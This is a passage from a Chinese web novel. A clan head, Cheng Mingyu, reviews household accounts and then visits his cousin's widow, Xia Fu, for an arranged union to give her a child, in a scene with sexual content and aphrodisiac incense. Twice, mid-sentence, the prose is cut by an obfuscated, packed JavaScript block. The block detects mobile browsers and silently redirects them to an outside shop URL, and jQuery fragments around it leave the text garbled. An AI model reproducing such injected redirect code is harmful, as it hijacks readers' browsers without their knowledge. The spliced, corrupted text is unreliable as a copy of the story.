每处邸报涂上程家专用封漆，先经程明昱之手，再交由专人保管，不经总账房。故而真实底细，总账房的管家是不知道的。程明昱当然不是神，这不过是驭下的手段，刻意留意一类账目，预备事后合账，以震慑底下管事乃至身旁的管家们。他年轻，尚未而立，掌家也不过数年，底下有资历的老管事比比皆是，难保没人糊弄他。 拾起第二份文书，是族内各处大项开支的申报单子。 负责府内采买的是四管家，目光不由得跟随那双白皙分明的手，生怕他一个停顿，自己这厢就该吃排揎了，总算挨到最后一页，眼见地要松一口气了，那个人，那张俊美无俦的面孔，抬起那双冷淡深邃的眸子，终究朝他看了来。 四管家绝望地跪下，“家主...” “这些价目，去市面合计过了吗？” “合计过了，合计过了。”四管家抬袖拭汗，慌忙点头，“都是货比三家定的价目，供货的商家有合作过的老人，也有竞争力比较强的新户，老奴私下打听过，没有底细不干净的。” “我记得府上有规矩，凡每月采度在一千两以上的大宗买卖，必有三家供货商，蜡烛为何只有两家？” 程家堡每日消耗蜡油无数，这是一宗大买卖，远近蜡烛商户可劲儿地想揽下这笔生意，程明昱从不将鸡蛋放在一个篮子里，一来让其竞争上位，杜绝以次充好，二来，尽可能减少管事与供货商家勾结的机会，各人走各人的门路，如此可相互牵制，不至于出大岔子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17536548|202634||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 程明昱是个将规矩刻在骨子里的人，任何突破常规之事，格外容易引起他的注意。 这会儿功夫四管家后背已湿透，哭丧着脸道，“原先的三家，有一家是二老爷母舅家一个亲戚，仗着二老爷撑腰，将另外一家给抢了，老奴原也是不应的，怎奈二老爷亲自来采买房说项....” 四管家索性揩了一把泪，抬眸仰望程明昱，“家主，老奴也不想坏了这个规矩，实在是拗不过二老爷，可否请家主出面去二老爷跟前说个话...” 眼看程明昱脸色越来越难看，他吓得将后面的话咽了回去。 程明昱静静看着他，脸色转淡到最后面无表情，“事事都要我这个族长出面，还要你们这些管家作甚？” “能独当一面的方为府上八大管家，此事你自行料理，料理不好，这差事你别担了。” 四管家含泪接过账目，悄声退出了房。 批完几处紧急账目，执掌戒律院的八管家上前，将近日族中犯事的案件报与他知，程明昱手中翻阅旁的簿册，漫不经心听着，戒律院是程明昱亲自搭建起来的，所用人手均是嫡系心腹，程明昱最为放心，平日插手的时候不多，听听便过了，今日听得族学出了事，他忽然掀眼问大管家， “这位柳夫子是不是不大得人心？” 大管家上前作答，“颇有些恃才傲物，好为人师。肚子里才学是有，不过实在不擅长教人。” 程明昱明白了，抬手示意书童研墨，“我修书一封，请嵩山书院的沈青夫子替了他。” 这边戒律院的人退下，负责对接朝廷六部衙门的七管家上前， “度支的桑大人来信，想托程家帮忙在江南收购一批生丝，以应对北齐互贸之用。” 程明昱头也不抬吩咐大管家，“去信金陵，叫陈珉协助织锦院。” “柳州今年秋生了蝗灾，米价陡升，百姓沿街乞讨，当地平准衙门已失去掌控..” “从附近几路程家铺子，调粮米过去，稳住粮价...” “......” 二十五岁的年轻家主，当朝参知政事，状元出身，自少接受儒家士大夫教育，以天下苍生为己任，他身上担着的不仅有阖族命脉与前程，更有苍山社稷与黎民百姓，弹指间决定一方百姓生死，一举一动牵涉阖族兴衰，骨子里刻着修身齐家治国平天下的抱负。 从不知私欲为何物。 他太忙了，朝前朝后，族里族外，每日卯时初刻起，亥时四刻睡，如一块刻在天地间的精密晷表，心思缜密，从无错漏。 门外的平伯眼瞅着里头无休无止，还不知耽搁到何时去，只得硬着头皮进屋，低声提醒， “家主，今日十四。” 案后那人显然还在看公文，一时没功夫理会他。平伯再三复述，他方抬起眼。 平伯对上他略显质询的眸子，僵硬一笑，一个字一个字往外蹦，“四房那边，就是今晚，您可别忘了。” 程明昱这才恍然大悟，慢慢坐直了身，暗忖他当初怎么就应下了这么荒唐的事，不由得抚了抚额角，视线再度盯住未阅完的文书，问道，“什么时辰了？” 平伯道，“戌时二刻。” 程明昱默了默，停住笔墨。 不早不晚，着实该过去了。否则再迟，便要耽搁安寝。 他最后吩咐几句，叫管家们退下，着书童整理文书邸报，这才跟随平伯回了后寝。 水是现成的，程明昱跨进浴室，打算更衣。 沐浴结束后，平伯这厢捧来周氏吩咐人缝制的喜袍，绛红的袍色在烛光下泛着柔和的光泽。程明昱系好中单，目光在那抹红色掠过，没做半分停留，径直换了常服。 他素日偏爱雪衫，今日却换身玉色长袍。自书房角门往东而出，来到一处蜿蜒的河池旁，这一带是他私地，平日鲜少有人出没。欲达听雨阁竹林旁的月洞门，需先过一截横跨莲池的九孔白玉石桥。 月华如水，流泻他清隽的肩脊，他独行于桥上，衣袂不惊，风骨朗朗。远远望去，他像嵌在天地间的一截雪松，一川月色，满桥清辉，皆成了陪衬，唯他一人，皎然出尘，遗世独绝。 早在程明昱进后寝之际，消息也极快地送至听雨阁，文宁得训立即穿过雕花长廊进了屋，对着尚在窗下托腮出神的夏芙道，“夫人，家主今夜过来。” 夏芙手臂一软，脑袋险些从掌心滑脱，她慌忙起身，一颗心砰砰直跳，“往这边来了？” “是！” 夏芙顿时慌了神，四下张望。 茶水已备妥，听闻家主爱洁，桌案已擦拭五六道，不留丝毫灰尘，再看那床榻，软烟罗的帘纱已挂好，被褥铺得整整齐齐，她这是该坐在底下等，还是去床榻躺好，等着速战速决？ 哎哟，胡思乱想些什么，该赶紧更衣才是呀。 老嬷嬷见她提着裙摆茫然无措，险些笑出了声，“好奶奶，随奴婢进屋更衣吧。” 进了浴室旁的更衣室，只见一身大红鸳鸯对襟喜袍挂在屏风处，夏芙瞧见，脸一红，笃定摇头，“嬷嬷，过于刻意了些，就着常服吧。” 最终夏芙挑了件藕粉的对襟薄褙，既不显得娇艳喜庆，又不过于素净，也算应景。 少顷，嬷嬷与文宁相继退下，偌大的听雨阁只剩夏芙一人。 十四的月亮又大又圆，被云沙覆过，好似镶了一层毛边，秋风拂过水面，碎了一池银鳞。远处隐隐传来喧闹声，隔了水音，倒显得不真切了。 夏芙绞着帕子坐在拔步床，等得手心冒汗，她盘算着程明昱快到了，便起身走到妆台前，从匣子里取出一截早已备好的“迷情香”给点上。 青烟袅袅升起，淡得几乎看不见，只一缕若有若无的幽香在空气中弥漫开来。 夏芙深吸一口气，退回床边坐下。 15. 第 15 章 比新婚之夜还要紧张。 那一夜，她虽也忐忑，却深知程明祐心系于她，将她捧在掌心。她认定了这辈子跟这个人，心里是踏实甜蜜的，甚至藏着几分向往。 今夜，全然不同。 这个人是程家家主，当朝宰辅，世家第一人，生于云端，平素可望而不可即。他们之间，天悬地隔，本不该有任何接触。 他们并非夫妻。 今夜之事，如同禁忌，黑暗，隐秘，不为人知。 热辣辣的羞耻感涌上心头。 夏芙深吁出一口气，按捺住临阵脱逃的念头，不断地告诉自己： 一切为了孩子。 为了给夫君留一脉香火。 为了往后踽踽独行的人生有个依靠。 正胡思乱想着，雕窗长廊处传来脚步声。 沉缓又无比清晰。 他来了。 夏芙心头一凛，所有杂念瞬间压下，缓缓起身，来到屏风外立定，垂眸候着那人近前。 程明昱打北园月洞门进院，绕过廊庑，脚步声停在门口。 进屋往西，三间打通，是一派轩敞书斋。往东则为起居寝卧，格局与旁个寝室不同。入门但见两道雕花博古架夹成长廊，架上错落陈列各色古玩珍奇。穿廊而过，迎面便是一间宽绰明净的绣房。东窗下设桌案、长几、炕床之类，北壁则开一扇月洞窗，窗外恰对一院细竹，翠影摇曳。 再往深处，博古架后与格栅门之间，另夹着一间寝室。寝室西侧又接连更衣室与浴室，整片居所布局疏朗，气象开阔而不失幽邃。 这一间院子程明昱并不陌生。 少时在程家堡读书，长居于此。年轻不更事，也曾舞剑对长空。 布局没变，就连摆设也如旧，可见夏氏不曾做任何改动。 是个极有分寸的女子。 唯一不同的是北窗下曾摆放一琴台，如今琴台犹在，琴却不知所踪。 他不是来弹琴的，当然不在意。 程明昱不做多想，迈出夹道，视线往屏风处移去。 内室与绣房之间，仅一架四开的座屏相隔。 屏风下有女子亭亭而立，藕粉褙子裹着她削肩细腰，衣纹如水烟垂落，衬得整个人似笼在三月春雾里，袅袅娜娜，仿佛风一吹就会散了。 程明昱并未细瞧，视线只轻轻一扫，便收回去了，抬袖朝她一揖。 夏芙也在同一时刻屈膝，嗓音低低的，“见过家主。” 两厢算是见过礼了。 室内点着一盏葛纱灯，这种纱并不轻薄，光线渗出来洒落满室，朦胧如雾，恰到好处地遮掩了陌生带来的窘迫与尴尬。 夏芙视线落在他袍角，不敢上移，不待他吱声，便匆匆移去前方桌案，将备好的茶水斟好，双手捧着，小心翼翼地递到他面前。 “请家主饮茶。” 嗓音软软糯糯，比初见那日更为轻柔，细得像春蚕吐丝，好似在他耳边挠过，程明昱默了一瞬，抬手将茶接过，嗓音清淡如水，“多谢。” 夜风从半敞的窗棂间溜进来，拂动他袖口暗纹。二人夹着一处桌脚，侧身相对，谁也没看谁。 一个霁月风光，一个婀娜婉媚，八竿子打不着的两个人，同立一个屋檐下。 并不适应。 程明昱握着茶盏没动。 他夜里从不饮茶。 夏芙察觉他没动，飞快瞟了他一眼，那张脸清隽如玉，端肃凛然，眼神漆黑如墨，不带半丝欲色，望之如雪山之巅的松柏，一想到自己即将冒犯他，夏芙心下戚戚，不自在极了。 家主长身而立，没有落座喝茶的意思，可见不愿拖延时辰。 也对，他日理万机，哪有工夫耗在她这？ 还是速战速决为妙。 夏芙于是清了清嗓，往屏风处的盆架一比，“给家主备了水净手。”说罢，也不等他回应，脚步轻盈地往床榻那边去了。 程明昱神情未变，颔首应了一声，将茶盏搁下，这时，一缕青烟适时掠进他鼻尖，程明昱眉峰蹙起。 这种迷香，他当然不陌生。 十七岁那年出使北齐，住在驿馆之时，险些便着了明月公主的道，后来程明昱对这种香儿粉儿的深恶痛绝，回到程家，召集一批精通药理的暗卫与府医，辨识各类毒药，往后便是“百毒不侵”。 可此刻，萦绕在鼻尖的这一缕，并非什么烈性催情之物，只是市面上最常见的情香，为闺房助兴之用。 其意图，显而易见。 程明昱心情复杂地抚了抚杯盏，克制住掉头就走的冲动，默声坐了下来。 * 夏芙当然不知这等迷香触了程明昱逆鳞，这是婆母交给她的，吩咐她夜里燃上，用意不用说，夏芙也明白，她与程明昱毫无情愫，当中又隔着几层身份，唯恐行房不顺，以此添趣。 她紧张地躺了下来。 甚至主动将水红的中裤给褪下，扔去一旁。 这样的事当然不能叫家主来做。 她深知他是被赶鸭子上架，被迫应了这事。 裙摆重新理好，铺在身上，她规规矩矩躺着，一动不动。 软烟罗的纱帐内还有一层绛红的里帘，为的是将外头光线遮得严严实实。 遮住彼此那张面孔，便于更好地行事。 效果极好，拔步床内黑漆漆的，一丝光线也无。 夏芙嫁给程明祐半年，这种事上的经验，自然称得上丰富。印象里，夫君多则一刻钟，少则一盏茶功夫，不算折腾人。 当然啦，程明祐贪念她的身子，一夜总能要个两三回，不过这等事不会发生在家主身上。 所以她不用顾虑。 闭上眼躺一躺，很快便完事了。 夏芙安心地等。 等了片刻，不见人来，家主莫不是临时反悔了？正疑惑着，外间传来哗啦啦的水声，便知程明昱在净手。她这才松了一口气，抚了一把掌心的汗，重新躺好。 程明昱这边，修长指尖轻轻在水中搅动，不疾不徐地净手，目光不经意扫在床榻间，却见一片水红裤脚自帘内滑出，软软垂在踏板边，被他看了个正着。 毕竟不是初出茅庐的小子，那是何物一眼辨出。 没料到小娘子看着文文静静，懦懦弱弱，关键时刻却一点也不扭捏。 为了个孩子，真是难为了她。 程明昱擦干掌心，行至拔步床前。帘帐低垂，将内里景象遮得严严实实。一帘之隔，隔住的是堂兄与隔房弟媳不可逾越的界限，隔住的是男女之防、礼教森严，是不可背离的君子之风。 只消他伸出手，掀开一角，一切陈规便就此打破。 素来自律克己的贵公子，本做不出这等有违伦理之事，可偏偏“兼祧”这一礼法，给今日的逾越镀上了一层合法的外衣。 即便如此，这终究不是他一个外男能窥伺的，程明昱凝立片刻，抬手往内一揖， “冒犯了。” 帘内的夏芙闻言，险些失笑，她自然不觉得是他在冒犯她，恰恰相反，是她强求了他。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17538665|202634||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 然这一声“冒犯”，到底让她感受到了前所未有的尊重，惶惶不安的那颗心也得到安抚。 她知道家主轻易过不了心里那关，她也愧疚，于是柔声地回应， “辛苦家主了。” 话落，帘幔被掀开半幅，那道清肃的身影逆光而入。 那一瞬，夏芙闭上眼。 那一瞬，程明昱辨清夏芙所在。 很快帘帐重新落下，隔绝外头的光线，风裹挟湿漉漉的桂花香以及他身上那股清冽的雪松气一同卷了进来，夏芙猝不及防吸了一口，拘束着身子不敢挪动分毫。 紧接着床榻一陷，他该是上来了，夏芙阖着目微微屈膝，便于他行事。 即便看不清人，那股笼罩的威压趋近，他身上皂角的清气，无声无息地覆过来。她下意识屏住呼吸，可那股气息还是钻进来，凉丝丝的，带着一种让她心口发紧的干净。 隔着些许距离，他衣袂轻轻磨蹭她柔软的下摆，谁也没动。四下里静极了，唯彼此呼吸清晰可闻，一个沉缓平稳，一个轻浅急促。 这样的静默好似持续了许久，好似仅仅是一瞬。 夏芙恍神的功夫，他双膝毫不迟疑地欺了上来，高大的身影如玉山倾颓悬在她上方。 整个榻间像被抽空了空气，所有的响动都消失了，夏芙深深闭上眼，将脸偏向外侧，咬住下唇，脚尖下意识往内缩，却犹自克制不动，她清晰感受到他刻意避开碰触，她也尽量不挨着他分毫。 两人明明近在咫尺，却又泾渭分明。 当然，自有不可避免之处....炙热的触感清凌凌地浮上来，在静默里一寸一寸发酵，如藤蔓一般无可救药往上攀延，攀住她五脏六腑及汗涔涔的脑门。 胀痛瞬间攫住她所有感官，比起痛，有种异常的难受... 这种艰难始料不及，夏芙忍耐着不适，茫然地盯住低垂的帘帐。 不过这点疑惑很快得到自我解释。 过去与夫君你侬我侬，床笫之间情意绵绵，总总将她弄得气喘吁吁一个不留神便溜进去了，家主不然，他们之间毫无夫妻情谊，自然做不到亲昵地抚慰，她也做不到。 只能再等一等，等迷情香起效。 程明昱也在等，等她放轻松，等她适应。 于他而言任何多余的举动都算冒犯，手臂微沉纹丝不动。 两下里陷入僵持。 夏芙尽可能放软身子，却逃不开刀锋般的强硬，那份禁忌的压抑，以及有意无意的研磨，层层叠叠地堆上来，如潮水一般漫过她鼻尖。 渐渐的，被那股绵绵涌上来的渴望主宰，她浑浑噩噩地拽住床褥，指节攥得发白，努力想转移注意力，却只觉那股炙热仿佛要凌迟了她。额尖细汗密布，顺着鬓角滑进发根。就在意识即将涣散之际，骤然间有什么捕捉住了机会，冲破阻碍，翻山越岭而来，那一瞬，骨缝仿佛被撑开，隐秘的酸软如蝉丝细细密密地绞住她所有感官，夏芙没耐住叫出一声。 程明昱听得那声吟，喉结微滚，没有再进。 风沿着窗棂滚进，掀开床帘一角，透了些许光线进来。 一个细汗涔涔，娇嫩的面颊染了一层彩霞般靡丽。 一个身姿秀挺，雪白中单整洁堆在膝上，呼吸分毫不乱，风骨如旧。 视线再度交错开，谁也没望谁。 夏芙从不知自己可以发出这等娇柔婉转的嗓音，羞耻地捂住了脸。 这种感觉陌生至极，更是前所未有，—定是那迷情香在作祟，明夜可不能再熏了。